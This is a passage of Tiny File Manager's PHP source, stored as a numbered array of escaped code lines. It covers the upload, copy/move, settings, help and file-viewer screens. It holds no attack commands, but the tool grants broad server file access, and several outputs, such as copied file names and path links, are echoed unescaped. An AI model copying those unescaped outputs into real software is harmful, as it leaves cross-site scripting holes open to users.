=> "// check path", 1197 => "if (!is_dir(\$path)) {", 1198 => " fm_redirect(FM_SELF_URL . '?p=');", 1199 => "}", 1200 => "", 1201 => "// get parent folder", 1202 => "\$parent = fm_get_parent_path(FM_PATH);", 1203 => "", 1204 => "\$objects = is_readable(\$path) ? scandir(\$path) : array();", 1205 => "\$folders = array();", 1206 => "\$files = array();", 1207 => "\$current_path = array_slice(explode(\"/\",\$path), -1)[0];", 1208 => "if (is_array(\$objects) && fm_is_exclude_items(\$current_path)) {", 1209 => " foreach (\$objects as \$file) {", 1210 => " if (\$file == '.' || \$file == '..') {", 1211 => " continue;", 1212 => " }", 1213 => " if (!FM_SHOW_HIDDEN && substr(\$file, 0, 1) === '.') {", 1214 => " continue;", 1215 => " }", 1216 => " \$new_path = \$path . '/' . \$file;", 1217 => " if (@is_file(\$new_path) && fm_is_exclude_items(\$file)) {", 1218 => " \$files[] = \$file;", 1219 => " } elseif (@is_dir(\$new_path) && \$file != '.' && \$file != '..' && fm_is_exclude_items(\$file)) {", 1220 => " \$folders[] = \$file;", 1221 => " }", 1222 => " }", 1223 => "}", 1224 => "", 1225 => "if (!empty(\$files)) {", 1226 => " natcasesort(\$files);", 1227 => "}", 1228 => "if (!empty(\$folders)) {", 1229 => " natcasesort(\$folders);", 1230 => "}", 1231 => "", 1232 => "// upload form", 1233 => "if (isset(\$_GET['upload']) && !FM_READONLY) {", 1234 => " fm_show_header(); // HEADER", 1235 => " fm_show_nav_path(FM_PATH); // current path", 1236 => " //get the allowed file extensions", 1237 => " function getUploadExt() {", 1238 => " \$extArr = explode(',', FM_UPLOAD_EXTENSION);", 1239 => " if(FM_UPLOAD_EXTENSION && \$extArr) {", 1240 => " array_walk(\$extArr, function(&\$x) {\$x = \".\$x\";});", 1241 => " return implode(',', \$extArr);", 1242 => " }", 1243 => " return '';", 1244 => " }", 1245 => " ?>", 1246 => " <link href=\"https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.5.1/min/dropzone.min.css\" rel=\"stylesheet\">", 1247 => " <div class=\"path\">", 1248 => "", 1249 => " <div class=\"card mb-2 fm-upload-wrapper <?php echo fm_get_theme(); ?>\">", 1250 => " <div class=\"card-header\">", 1251 => " <ul class=\"nav nav-tabs card-header-tabs\">", 1252 => " <li class=\"nav-item\">", 1253 => " <a class=\"nav-link active\" href=\"#fileUploader\" data-target=\"#fileUploader\"><i class=\"fa fa-arrow-circle-o-up\"></i> <?php echo lng('UploadingFiles') ?></a>", 1254 => " </li>", 1255 => " <li class=\"nav-item\">", 1256 => " <a class=\"nav-link\" href=\"#urlUploader\" class=\"js-url-upload\" data-target=\"#urlUploader\"><i class=\"fa fa-link\"></i> Upload from URL</a>", 1257 => " </li>", 1258 => " </ul>", 1259 => " </div>", 1260 => " <div class=\"card-body\">", 1261 => " <p class=\"card-text\">", 1262 => " <a href=\"?p=<?php echo FM_PATH ?>\" class=\"float-right\"><i class=\"fa fa-chevron-circle-left go-back\"></i> <?php echo lng('Back')?></a>", 1263 => " <?php echo lng('DestinationFolder') ?>: <?php echo fm_enc(fm_convert_win(FM_PATH)) ?>", 1264 => " </p>", 1265 => "", 1266 => " <form action=\"<?php echo htmlspecialchars(FM_SELF_URL) . '?p=' . fm_enc(FM_PATH) ?>\" class=\"dropzone card-tabs-container\" id=\"fileUploader\" enctype=\"multipart/form-data\">", 1267 => " <input type=\"hidden\" name=\"p\" value=\"<?php echo fm_enc(FM_PATH) ?>\">", 1268 => " <input type=\"hidden\" name=\"fullpath\" id=\"fullpath\" value=\"<?php echo fm_enc(FM_PATH) ?>\">", 1269 => " <div class=\"fallback\">", 1270 => " <input name=\"file\" type=\"file\" multiple/>", 1271 => " </div>", 1272 => " </form>", 1273 => "", 1274 => " <div class=\"upload-url-wrapper card-tabs-container hidden\" id=\"urlUploader\">", 1275 => " <form id=\"js-form-url-upload\" class=\"form-inline\" onsubmit=\"return upload_from_url(this);\" method=\"POST\" action=\"\">", 1276 => " <input type=\"hidden\" name=\"type\" value=\"upload\" aria-label=\"hidden\" aria-hidden=\"true\">", 1277 => " <input type=\"url\" placeholder=\"URL\" name=\"uploadurl\" required class=\"form-control\" style=\"width: 100%\">", 1278 => " <button type=\"submit\" class=\"btn btn-primary ml-3\"><?php echo lng('Upload') ?></button>", 1279 => " <div class=\"lds-facebook\"><div></div><div></div><div></div></div>", 1280 => " </form>", 1281 => " <div id=\"js-url-upload__list\" class=\"col-9 mt-3\"></div>", 1282 => " </div>", 1283 => " </div>", 1284 => " </div>", 1285 => " </div>", 1286 => " <script src=\"https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.5.1/min/dropzone.min.js\"></script>", 1287 => " <script>", 1288 => " Dropzone.options.fileUploader = {", 1289 => " chunking: true,", 1290 => " chunkSize: 10000000,", 1291 => " forceChunking: true,", 1292 => " retryChunks: true,", 1293 => " retryChunksLimit: 3,", 1294 => " parallelUploads: 1, // does not support more than 1!", 1295 => " timeout: 120000,", 1296 => " maxFilesize: 10000000000,", 1297 => " acceptedFiles : \"<?php echo getUploadExt() ?>\",", 1298 => " init: function () {", 1299 => " this.on(\"sending\", function (file, xhr, formData) {", 1300 => " let _path = (file.fullPath) ? file.fullPath : file.name;", 1301 => " document.getElementById(\"fullpath\").value = _path;", 1302 => " xhr.ontimeout = (function() {", 1303 => " toast('Error: Server Timeout');", 1304 => " });", 1305 => " }).on(\"success\", function (res) {", 1306 => " let _response = JSON.parse(res.xhr.response);", 1307 => "", 1308 => " if(_response.status == \"error\") {", 1309 => " toast(_response.info);", 1310 => " }", 1311 => "", 1312 => " }).on(\"error\", function(file, response) {", 1313 => " toast(response);", 1314 => " });", 1315 => " }", 1316 => " }", 1317 => " </script>", 1318 => " <?php", 1319 => " fm_show_footer();", 1320 => " exit;", 1321 => "}", 1322 => "", 1323 => "// copy form POST", 1324 => "if (isset(\$_POST['copy']) && !FM_READONLY) {", 1325 => " \$copy_files = isset(\$_POST['file']) ? \$_POST['file'] : null;", 1326 => " if (!is_array(\$copy_files) || empty(\$copy_files)) {", 1327 => " fm_set_msg(lng('Nothing selected'), 'alert');", 1328 => " fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));", 1329 => " }", 1330 => "", 1331 => " fm_show_header(); // HEADER", 1332 => " fm_show_nav_path(FM_PATH); // current path", 1333 => " ?>", 1334 => " <div class=\"path\">", 1335 => " <div class=\"card <?php echo fm_get_theme(); ?>\">", 1336 => " <div class=\"card-header\">", 1337 => " <h6><?php echo lng('Copying') ?></h6>", 1338 => " </div>", 1339 => " <div class=\"card-body\">", 1340 => " <form action=\"\" method=\"post\">", 1341 => " <input type=\"hidden\" name=\"p\" value=\"<?php echo fm_enc(FM_PATH) ?>\">", 1342 => " <input type=\"hidden\" name=\"finish\" value=\"1\">", 1343 => " <?php", 1344 => " foreach (\$copy_files as \$cf) {", 1345 => " echo '<input type=\"hidden\" name=\"file[]\" value=\"' . fm_enc(\$cf) . '\">' . PHP_EOL;", 1346 => " }", 1347 => " ?>", 1348 => " <p class=\"break-word\"><?php echo lng('Files') ?>: <b><?php echo implode('</b>, <b>', \$copy_files) ?></b></p>", 1349 => " <p class=\"break-word\"><?php echo lng('SourceFolder') ?>: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?><br>", 1350 => " <label for=\"inp_copy_to\"><?php echo lng('DestinationFolder') ?>:</label>", 1351 => " <?php echo FM_ROOT_PATH ?>/<input type=\"text\" name=\"copy_to\" id=\"inp_copy_to\" value=\"<?php echo fm_enc(FM_PATH) ?>\">", 1352 => " </p>", 1353 => " <p class=\"custom-checkbox custom-control\"><input type=\"checkbox\" name=\"move\" value=\"1\" id=\"js-move-files\" class=\"custom-control-input\"><label for=\"js-move-files\" class=\"custom-control-label\" style=\"vertical-align: sub\"> <?php echo lng('Move') ?></label></p>", 1354 => " <p>", 1355 => " <button type=\"submit\" class=\"btn btn-success\"><i class=\"fa fa-check-circle\"></i> <?php echo lng('Copy') ?></button> ", 1356 => " <b><a href=\"?p=<?php echo urlencode(FM_PATH) ?>\" class=\"btn btn-outline-primary\"><i class=\"fa fa-times-circle\"></i> <?php echo lng('Cancel') ?></a></b>", 1357 => " </p>", 1358 => " </form>", 1359 => " </div>", 1360 => " </div>", 1361 => " </div>", 1362 => " <?php", 1363 => " fm_show_footer();", 1364 => " exit;", 1365 => "}", 1366 => "", 1367 => "// copy form", 1368 => "if (isset(\$_GET['copy']) && !isset(\$_GET['finish']) && !FM_READONLY) {", 1369 => " \$copy = \$_GET['copy'];", 1370 => " \$copy = fm_clean_path(\$copy);", 1371 => " if (\$copy == '' || !file_exists(FM_ROOT_PATH . '/' . \$copy)) {", 1372 => " fm_set_msg(lng('File not found'), 'error');", 1373 => " fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));", 1374 => " }", 1375 => "", 1376 => " fm_show_header(); // HEADER", 1377 => " fm_show_nav_path(FM_PATH); // current path", 1378 => " ?>", 1379 => " <div class=\"path\">", 1380 => " <p><b>Copying</b></p>", 1381 => " <p class=\"break-word\">", 1382 => " Source path: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . \$copy)) ?><br>", 1383 => " Destination folder: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?>", 1384 => " </p>", 1385 => " <p>", 1386 => " <b><a href=\"?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode(\$copy) ?>&finish=1\"><i class=\"fa fa-check-circle\"></i> Copy</a></b> ", 1387 => " <b><a href=\"?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode(\$copy) ?>&finish=1&move=1\"><i class=\"fa fa-check-circle\"></i> Move</a></b> ", 1388 => " <b><a href=\"?p=<?php echo urlencode(FM_PATH) ?>\"><i class=\"fa fa-times-circle\"></i> Cancel</a></b>", 1389 => " </p>", 1390 => " <p><i><?php echo lng('Select folder') ?></i></p>", 1391 => " <ul class=\"folders break-word\">", 1392 => " <?php", 1393 => " if (\$parent !== false) {", 1394 => " ?>", 1395 => " <li><a href=\"?p=<?php echo urlencode(\$parent) ?>&copy=<?php echo urlencode(\$copy) ?>\"><i class=\"fa fa-chevron-circle-left\"></i> ..</a></li>", 1396 => " <?php", 1397 => " }", 1398 => " foreach (\$folders as \$f) {", 1399 => " ?>", 1400 => " <li>", 1401 => " <a href=\"?p=<?php echo urlencode(trim(FM_PATH . '/' . \$f, '/')) ?>&copy=<?php echo urlencode(\$copy) ?>\"><i class=\"fa fa-folder-o\"></i> <?php echo fm_convert_win(\$f) ?></a></li>", 1402 => " <?php", 1403 => " }", 1404 => " ?>", 1405 => " </ul>", 1406 => " </div>", 1407 => " <?php", 1408 => " fm_show_footer();", 1409 => " exit;", 1410 => "}", 1411 => "", 1412 => "if (isset(\$_GET['settings']) && !FM_READONLY) {", 1413 => " fm_show_header(); // HEADER", 1414 => " fm_show_nav_path(FM_PATH); // current path", 1415 => " global \$cfg, \$lang, \$lang_list;", 1416 => " ?>", 1417 => "", 1418 => " <div class=\"col-md-8 offset-md-2 pt-3\">", 1419 => " <div class=\"card mb-2 <?php echo fm_get_theme(); ?>\">", 1420 => " <h6 class=\"card-header\">", 1421 => " <i class=\"fa fa-cog\"></i> <?php echo lng('Settings') ?>", 1422 => " <a href=\"?p=<?php echo FM_PATH ?>\" class=\"float-right\"><i class=\"fa fa-window-close\"></i> <?php echo lng('Cancel')?></a>", 1423 => " </h6>", 1424 => " <div class=\"card-body\">", 1425 => " <form id=\"js-settings-form\" action=\"\" method=\"post\" data-type=\"ajax\" onsubmit=\"return save_settings(this)\">", 1426 => " <input type=\"hidden\" name=\"type\" value=\"settings\" aria-label=\"hidden\" aria-hidden=\"true\">", 1427 => " <div class=\"form-group row\">", 1428 => " <label for=\"js-language\" class=\"col-sm-3 col-form-label\"><?php echo lng('Language') ?></label>", 1429 => " <div class=\"col-sm-5\">", 1430 => " <select class=\"form-control\" id=\"js-language\" name=\"js-language\">", 1431 => " <?php", 1432 => " function getSelected(\$l) {", 1433 => " global \$lang;", 1434 => " return (\$lang == \$l) ? 'selected' : '';", 1435 => " }", 1436 => " foreach (\$lang_list as \$k => \$v) {", 1437 => " echo \"<option value='\$k' \".getSelected(\$k).\">\$v</option>\";", 1438 => " }", 1439 => " ?>", 1440 => " </select>", 1441 => " </div>", 1442 => " </div>", 1443 => " <?php", 1444 => " //get ON/OFF and active class", 1445 => " function getChecked(\$conf, \$val, \$txt) {", 1446 => " if(\$conf== 1 && \$val ==1) {", 1447 => " return \$txt;", 1448 => " } else if(\$conf == '' && \$val == '') {", 1449 => " return \$txt;", 1450 => " } else {", 1451 => " return '';", 1452 => " }", 1453 => " }", 1454 => " ?>", 1455 => " <div class=\"form-group row\">", 1456 => " <label for=\"js-err-rpt-1\" class=\"col-sm-3 col-form-label\"><?php echo lng('ErrorReporting') ?></label>", 1457 => " <div class=\"col-sm-9\">", 1458 => " <div class=\"btn-group btn-group-toggle\" data-toggle=\"buttons\">", 1459 => " <label class=\"btn btn-secondary <?php echo getChecked(\$report_errors, 1, 'active') ?>\">", 1460 => " <input type=\"radio\" name=\"js-error-report\" id=\"js-err-rpt-1\" autocomplete=\"off\" value=\"true\" <?php echo getChecked(\$report_errors, 1, 'checked') ?> > ON", 1461 => " </label>", 1462 => " <label class=\"btn btn-secondary <?php echo getChecked(\$report_errors, '', 'active') ?>\">", 1463 => " <input type=\"radio\" name=\"js-error-report\" id=\"js-err-rpt-0\" autocomplete=\"off\" value=\"false\" <?php echo getChecked(\$report_errors, '', 'checked') ?> > OFF", 1464 => " </label>", 1465 => " </div>", 1466 => " </div>", 1467 => " </div>", 1468 => "", 1469 => " <div class=\"form-group row\">", 1470 => " <label for=\"js-hdn-1\" class=\"col-sm-3 col-form-label\"><?php echo lng('ShowHiddenFiles') ?></label>", 1471 => " <div class=\"col-sm-9\">", 1472 => " <div class=\"btn-group btn-group-toggle\" data-toggle=\"buttons\">", 1473 => " <label class=\"btn btn-secondary <?php echo getChecked(\$show_hidden_files, 1, 'active') ?>\">", 1474 => " <input type=\"radio\" name=\"js-show-hidden\" id=\"js-hdn-1\" autocomplete=\"off\" value=\"true\" <?php echo getChecked(\$show_hidden_files, 1, 'checked') ?> > ON", 1475 => " </label>", 1476 => " <label class=\"btn btn-secondary <?php echo getChecked(\$show_hidden_files, '', 'active') ?>\">", 1477 => " <input type=\"radio\" name=\"js-show-hidden\" id=\"js-hdn-0\" autocomplete=\"off\" value=\"false\" <?php echo getChecked(\$show_hidden_files, '', 'checked') ?> > OFF", 1478 => " </label>", 1479 => " </div>", 1480 => " </div>", 1481 => " </div>", 1482 => "", 1483 => " <div class=\"form-group row\">", 1484 => " <label for=\"js-hid-1\" class=\"col-sm-3 col-form-label\"><?php echo lng('HideColumns') ?></label>", 1485 => " <div class=\"col-sm-9\">", 1486 => " <div class=\"btn-group btn-group-toggle\" data-toggle=\"buttons\">", 1487 => " <label class=\"btn btn-secondary <?php echo getChecked(\$hide_Cols, 1, 'active') ?>\">", 1488 => " <input type=\"radio\" name=\"js-hide-cols\" id=\"js-hid-1\" autocomplete=\"off\" value=\"true\" <?php echo getChecked(\$hide_Cols, 1, 'checked') ?> > ON", 1489 => " </label>", 1490 => " <label class=\"btn btn-secondary <?php echo getChecked(\$hide_Cols, '', 'active') ?>\">", 1491 => " <input type=\"radio\" name=\"js-hide-cols\" id=\"js-hid-0\" autocomplete=\"off\" value=\"false\" <?php echo getChecked(\$hide_Cols, '', 'checked') ?> > OFF", 1492 => " </label>", 1493 => " </div>", 1494 => " </div>", 1495 => " </div>", 1496 => "", 1497 => " <div class=\"form-group row\">", 1498 => " <label for=\"js-dir-1\" class=\"col-sm-3 col-form-label\"><?php echo lng('CalculateFolderSize') ?></label>", 1499 => " <div class=\"col-sm-9\">", 1500 => " <div class=\"btn-group btn-group-toggle\" data-toggle=\"buttons\">", 1501 => " <label class=\"btn btn-secondary <?php echo getChecked(\$calc_folder, 1, 'active') ?>\">", 1502 => " <input type=\"radio\" name=\"js-calc-folder\" id=\"js-dir-1\" autocomplete=\"off\" value=\"true\" <?php echo getChecked(\$calc_folder, 1, 'checked') ?> > ON", 1503 => " </label>", 1504 => " <label class=\"btn btn-secondary <?php echo getChecked(\$calc_folder, '', 'active') ?>\">", 1505 => " <input type=\"radio\" name=\"js-calc-folder\" id=\"js-dir-0\" autocomplete=\"off\" value=\"false\" <?php echo getChecked(\$calc_folder, '', 'checked') ?> > OFF", 1506 => " </label>", 1507 => " </div>", 1508 => " </div>", 1509 => " </div>", 1510 => "", 1511 => " <div class=\"form-group row\">", 1512 => " <label for=\"js-3-1\" class=\"col-sm-3 col-form-label\"><?php echo lng('Theme') ?></label>", 1513 => " <div class=\"col-sm-5\">", 1514 => " <select class=\"form-control\" id=\"js-3-0\" name=\"js-theme-3\" style=\"width:100px;\">", 1515 => " <option value='light' <?php if(\$theme == \"light\"){echo \"selected\";} ?>><?php echo lng('light') ?></option>", 1516 => " <option value='dark' <?php if(\$theme == \"dark\"){echo \"selected\";} ?>><?php echo lng('dark') ?></option>", 1517 => " </select>", 1518 => " </div>", 1519 => " </div>", 1520 => "", 1521 => " <div class=\"form-group row\">", 1522 => " <div class=\"col-sm-10\">", 1523 => " <button type=\"submit\" class=\"btn btn-success\"> <i class=\"fa fa-check-circle\"></i> <?php echo lng('Save'); ?></button>", 1524 => " </div>", 1525 => " </div>", 1526 => "", 1527 => " </form>", 1528 => " </div>", 1529 => " </div>", 1530 => " </div>", 1531 => " <?php", 1532 => " fm_show_footer();", 1533 => " exit;", 1534 => "}", 1535 => "", 1536 => "if (isset(\$_GET['help'])) {", 1537 => " fm_show_header(); // HEADER", 1538 => " fm_show_nav_path(FM_PATH); // current path", 1539 => " global \$cfg, \$lang;", 1540 => " ?>", 1541 => "", 1542 => " <div class=\"col-md-8 offset-md-2 pt-3\">", 1543 => " <div class=\"card mb-2 <?php echo fm_get_theme(); ?>\">", 1544 => " <h6 class=\"card-header\">", 1545 => " <i class=\"fa fa-exclamation-circle\"></i> <?php echo lng('Help') ?>", 1546 => " <a href=\"?p=<?php echo FM_PATH ?>\" class=\"float-right\"><i class=\"fa fa-window-close\"></i> <?php echo lng('Cancel')?></a>", 1547 => " </h6>", 1548 => " <div class=\"card-body\">", 1549 => " <div class=\"row\">", 1550 => " <div class=\"col-xs-12 col-sm-6\">", 1551 => " <p><h3><a href=\"https://github.com/prasathmani/tinyfilemanager\" target=\"_blank\" class=\"app-v-title\"> Tiny File Manager <?php echo VERSION; ?></a></h3></p>", 1552 => " <p>Author: Prasath Mani</p>", 1553 => " <p>Mail Us: <a href=\"mailto:ccpprogrammers@gmail.com\">ccpprogrammers[at]gmail.com</a> </p>", 1554 => " </div>", 1555 => " <div class=\"col-xs-12 col-sm-6\">", 1556 => " <div class=\"card\">", 1557 => " <ul class=\"list-group list-group-flush\">", 1558 => " <li class=\"list-group-item\"><a href=\"https://github.com/prasathmani/tinyfilemanager/wiki\" target=\"_blank\"><i class=\"fa fa-question-circle\"></i> <?php echo lng('Help Documents') ?> </a> </li>", 1559 => " <li class=\"list-group-item\"><a href=\"https://github.com/prasathmani/tinyfilemanager/issues\" target=\"_blank\"><i class=\"fa fa-bug\"></i> <?php echo lng('Report Issue') ?></a></li>", 1560 => " <li class=\"list-group-item\"><a href=\"javascript:latest_release_info('<?php echo VERSION; ?>');\"><i class=\"fa fa-link\"> </i> <?php echo lng('Check Latest Version') ?></a></li>", 1561 => " <?php if(!FM_READONLY) { ?>", 1562 => " <li class=\"list-group-item\"><a href=\"javascript:show_new_pwd();\"><i class=\"fa fa-lock\"></i> <?php echo lng('Generate new password hash') ?></a></li>", 1563 => " <?php } ?>", 1564 => " </ul>", 1565 => " </div>", 1566 => " </div>", 1567 => " </div>", 1568 => " <div class=\"row js-new-pwd hidden mt-2\">", 1569 => " <div class=\"col-12\">", 1570 => " <form class=\"form-inline\" onsubmit=\"return new_password_hash(this)\" method=\"POST\" action=\"\">", 1571 => " <input type=\"hidden\" name=\"type\" value=\"pwdhash\" aria-label=\"hidden\" aria-hidden=\"true\">", 1572 => " <div class=\"form-group mb-2\">", 1573 => " <label for=\"staticEmail2\"><?php echo lng('Generate new password hash') ?></label>", 1574 => " </div>", 1575 => " <div class=\"form-group mx-sm-3 mb-2\">", 1576 => " <label for=\"inputPassword2\" class=\"sr-only\"><?php echo lng('Password') ?></label>", 1577 => " <input type=\"text\" class=\"form-control btn-sm\" id=\"inputPassword2\" name=\"inputPassword2\" placeholder=\"Password\" required>", 1578 => " </div>", 1579 => " <button type=\"submit\" class=\"btn btn-success btn-sm mb-2\"><?php echo lng('Generate') ?></button>", 1580 => " </form>", 1581 => " <textarea class=\"form-control\" rows=\"2\" readonly id=\"js-pwd-result\"></textarea>", 1582 => " </div>", 1583 => " </div>", 1584 => " </div>", 1585 => " </div>", 1586 => " </div>", 1587 => " <?php", 1588 => " fm_show_footer();", 1589 => " exit;", 1590 => "}", 1591 => "", 1592 => "// file viewer", 1593 => "if (isset(\$_GET['view'])) {", 1594 => " \$file = \$_GET['view'];", 1595 => " \$quickView = (isset(\$_GET['quickView']) && \$_GET['quickView'] == 1) ? true : false;", 1596 => " \$file = fm_clean_path(\$file, false);", 1597 => " \$file = str_replace('/', '', \$file);", 1598 => " if (\$file == '' || !is_file(\$path . '/' . \$file) || in_array(\$file, \$GLOBALS['exclude_items'])) {", 1599 => " fm_set_msg(lng('File not found'), 'error');", 1600 => " fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));", 1601 => " }", 1602 => "", 1603 => " if(!\$quickView) {", 1604 => " fm_show_header(); // HEADER", 1605 => " fm_show_nav_path(FM_PATH); // current path", 1606 => " }", 1607 => "", 1608 => " \$file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . \$file);", 1609 => " \$file_path = \$path . '/' . \$file;", 1610 => "", 1611 => " \$ext = strtolower(pathinfo(\$file_path, PATHINFO_EXTENSION));", 1612 => " \$mime_type = fm_get_mime_type(\$file_path);", 1613 => " \$filesize_raw = fm_get_size(\$file_path);", 1614 => " \$filesize = fm_get_filesize(\$filesize_raw);", 1615 => "", 1616 => " \$is_zip = false;", 1617 => " \$is_gzip = false;", 1618 => " \$is_image = false;", 1619 => " \$is_audio = false;", 1620 => " \$is_video = false;", 1621 => " \$is_text = false;", 1622 => " \$is_onlineViewer = false;", 1623 => "", 1624 => " \$view_title = 'File';", 1625 => " \$filenames = false; // for zip", 1626 => " \$content = ''; // for text", 1627 => " \$online_viewer = strtolower(FM_DOC_VIEWER);", 1628 => "", 1629 => " if(\$online_viewer && \$online_viewer !== 'false' && in_array(\$ext, fm_get_onlineViewer_exts())){", 1630 => " \$is_onlineViewer = true;", 1631 => " }", 1632 => " elseif (\$ext == 'zip' || \$ext == 'tar') {", 1633 => " \$is_zip = true;", 1634 => " \$view_title = 'Archive';", 1635 => " \$filenames = fm_get_zif_info(\$file_path, \$ext);", 1636 => " } elseif (in_array(\$ext, fm_get_image_exts())) {", 1637 => " \$is_image = true;", 1638 => " \$view_title = 'Image';", 1639 => " } elseif (in_array(\$ext, fm_get_audio_exts())) {", 1640 => " \$is_audio = true;", 1641 => " \$view_title = 'Audio';", 1642 => " } elseif (in_array(\$ext, fm_get_video_exts())) {", 1643 => " \$is_video = true;", 1644 => " \$view_title = 'Video';", 1645 => " } elseif (in_array(\$ext, fm_get_text_exts()) || substr(\$mime_type, 0, 4) == 'text' || in_array(\$mime_type, fm_get_text_mimes())) {", 1646 => " \$is_text = true;", 1647 => " \$content = file_get_contents(\$file_path);", 1648 => " }", 1649 => "", 1650 => " ?>", 1651 => " <div class=\"row\">", 1652 => " <div class=\"col-12\">", 1653 => " <?php if(!\$quickView) { ?>", 1654 => " <p class=\"break-word\"><b><?php echo \$view_title ?> \"<?php echo fm_enc(fm_convert_win(\$file)) ?>\"</b></p>", 1655 => " <p class=\"break-word\">", 1656 => " Full path: <?php echo fm_enc(fm_convert_win(\$file_path)) ?><br>", 1657 => " File size: <?php echo (\$filesize_raw <= 1000) ? \"\$filesize_raw bytes\" : \$filesize; ?><br>", 1658 => " MIME-type: <?php echo \$mime_type ?><br>", 1659 => " <?php", 1660 => " // ZIP info", 1661 => " if ((\$is_zip || \$is_gzip) && \$filenames !== false) {", 1662 => " \$total_files = 0;", 1663 => " \$total_comp = 0;", 1664 => " \$total_uncomp = 0;", 1665 => " foreach (\$filenames as \$fn) {", 1666 => " if (!\$fn['folder']) {", 1667 => " \$total_files++;", 1668 => " }", 1669 => " \$total_comp += \$fn['compressed_size'];", 1670 => " \$total_uncomp += \$fn['filesize'];", 1671 => " }", 1672 => " ?>", 1673 => " Files in archive: <?php echo \$total_files ?><br>", 1674 => " Total size: <?php echo fm_get_filesize(\$total_uncomp) ?><br>", 1675 => " Size in archive: <?php echo fm_get_filesize(\$total_comp) ?><br>", 1676 => " Compression: <?php echo round((\$total_comp / \$total_uncomp) * 100) ?>%<br>", 1677 => " <?php", 1678 => " }", 1679 => " // Image info", 1680 => " if (\$is_image) {", 1681 => " \$image_size = getimagesize(\$file_path);", 1682 => " echo 'Image sizes: ' . (isset(\$image_size[0]) ? \$image_size[0] : '0') . ' x ' . (isset(\$image_size[1]) ? \$image_size[1] : '0') . '<br>';", 1683 => " }", 1684 => " // Text info", 1685 => " if (\$is_text) {", 1686 => " \$is_utf8 = fm_is_utf8(\$content);", 1687 => " if (function_exists('iconv')) {", 1688 => " if (!\$is_utf8) {", 1689 => " \$content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', \$content);", 1690 => " }", 1691 => " }", 1692 => " echo 'Charset: ' . (\$is_utf8 ? 'utf-8' : '8 bit') . '<br>';", 1693 => " }", 1694 => " ?>", 1695 => " </p>", 1696 => " <p>", 1697 => " <b><a href=\"?p=<?php echo urlencode(FM_PATH) ?>&dl=<?php echo urlencode(\$file) ?>\"><i class=\"fa fa-cloud-download\"></i> <?php echo lng('Download') ?></a></b> ", 1698 => " <b><a href=\"<?php echo fm_enc(\$file_url) ?>\" target=\"_blank\"><i class=\"fa fa-external-link-square\"></i> <?php echo lng('Open') ?></a></b>", 1699 => " ", 1700 => " <?php", 1701 => " // ZIP actions", 1702 => " if (!FM_READONLY && (\$is_zip || \$is_gzip) && \$filenames !== false) {", 1703 => " \$zip_name = pathinfo(\$file_path, PATHINFO_FILENAME);", 1704 => " ?>", 1705 => " <b><a href=\"?p=<?php echo urlencode(FM_PATH) ?>&unzip=<?php echo urlencode(\$file) ?>\"><i class=\"fa fa-check-circle\"></i> <?php echo lng('UnZip') ?></a></b> ", 1706 => " <b><a href=\"?p=<?php echo urlencode(FM_PATH) ?>&unzip=<?php echo urlencode(\$file) ?>&tofolder=1\" title=\"UnZip to <?php echo fm_enc(\$zip_name) ?>\"><i class=\"fa fa-check-circle\"></i>", 1707 => " <?php echo lng('UnZipToFolder') ?></a></b> ", 1708 => " <?php", 1709 => " }", 1710 => " if (\$is_text && !FM_READONLY) {", 1711 => " ?>", 1712 => " <b><a href=\"?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode(\$file) ?>\" class=\"edit-file\"><i class=\"fa fa-pencil-square\"></i> <?php echo lng('Edit') ?>", 1713 => " </a></b> ", 1714 => " <b><a href=\"?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode(\$file) ?>&env=ace\"", 1715 => " class=\"edit-file\"><i class=\"fa fa-pencil-square-o\"></i> <?php echo lng('AdvancedEditor') ?>", 1716 => " </a></b> ", 1717 => " <?php } ?>", 1718 => " <b><a href=\"?p=<?php echo urlencode(FM_PATH) ?>\"><i class=\"fa fa-chevron-circle-left go-back\"></i> <?php echo lng('Back') ?></a></b>", 1719 => " </p>", 1720 => " <?php", 1721 => " }", 1722 => " if(\$is_onlineViewer) {", 1723 => " if(\$online_viewer == 'google') {", 1724 => " echo '<iframe src=\"https://docs.google.com/viewer?embedded=true&hl=en&url=' . fm_enc(\$file_url) . '\" frameborder=\"no\" style=\"width:100%;min-height:460px\"></iframe>';", 1725 => " } else if(\$online_viewer == 'microsoft') {", 1726 => " echo '<iframe src=\"https://view.officeapps.live.com/op/embed.aspx?src=' . fm_enc(\$file_url) . '\" frameborder=\"no\" style=\"width:100%;min-height:460px\"></iframe>';", 1727 => " }", 1728 => " } elseif (\$is_zip) {", 1729 => " // ZIP content", 1730 => " if (\$filenames !== false) {", 1731 => " echo '<code class=\"maxheight\">';", 1732 => " foreach (\$filenames as \$fn) {", 1733 => " if (\$fn['folder']) {", 1734 => " echo '<b>' . fm_enc(\$fn['name']) . '</b><br>';", 1735 => " } else {", 1736 => " echo \$fn['name'] . ' (' . fm_get_filesize(\$fn['filesize']) . ')<br>';", 1737 => " }", 1738 => " }", 1739 => " echo '</code>';", 1740 => " } else {", 1741 => " echo '<p>'.lng('Error while fetching archive info').'</p>';", 1742 => " }", 1743 => " } elseif (\$is_image) {", 1744 => " // Image content", 1745 => " if (in_array(\$ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) {", 1746 => " echo '<p><img src=\"' . fm_enc(\$file_url) . '\" alt=\"\" class=\"preview-img\"></p>';", 1747 => " }", 1748 => " } elseif (\$is_audio) {", 1749 => " // Audio content", 1750 => " echo '<p><audio src=\"' . fm_enc(\$file_url) . '\" controls preload=\"metadata\"></audio></p>';", 1751 => " } elseif (\$is_video) {", 1752 => " // Video content", 1753 => " echo '<div class=\"preview-video\"><video src=\"' . fm_enc(\$file_url) . '\" width=\"640\" height=\"360\" controls preload=\"metadata\"></video></div>';", 1754 => " } elseif (\$is_text) 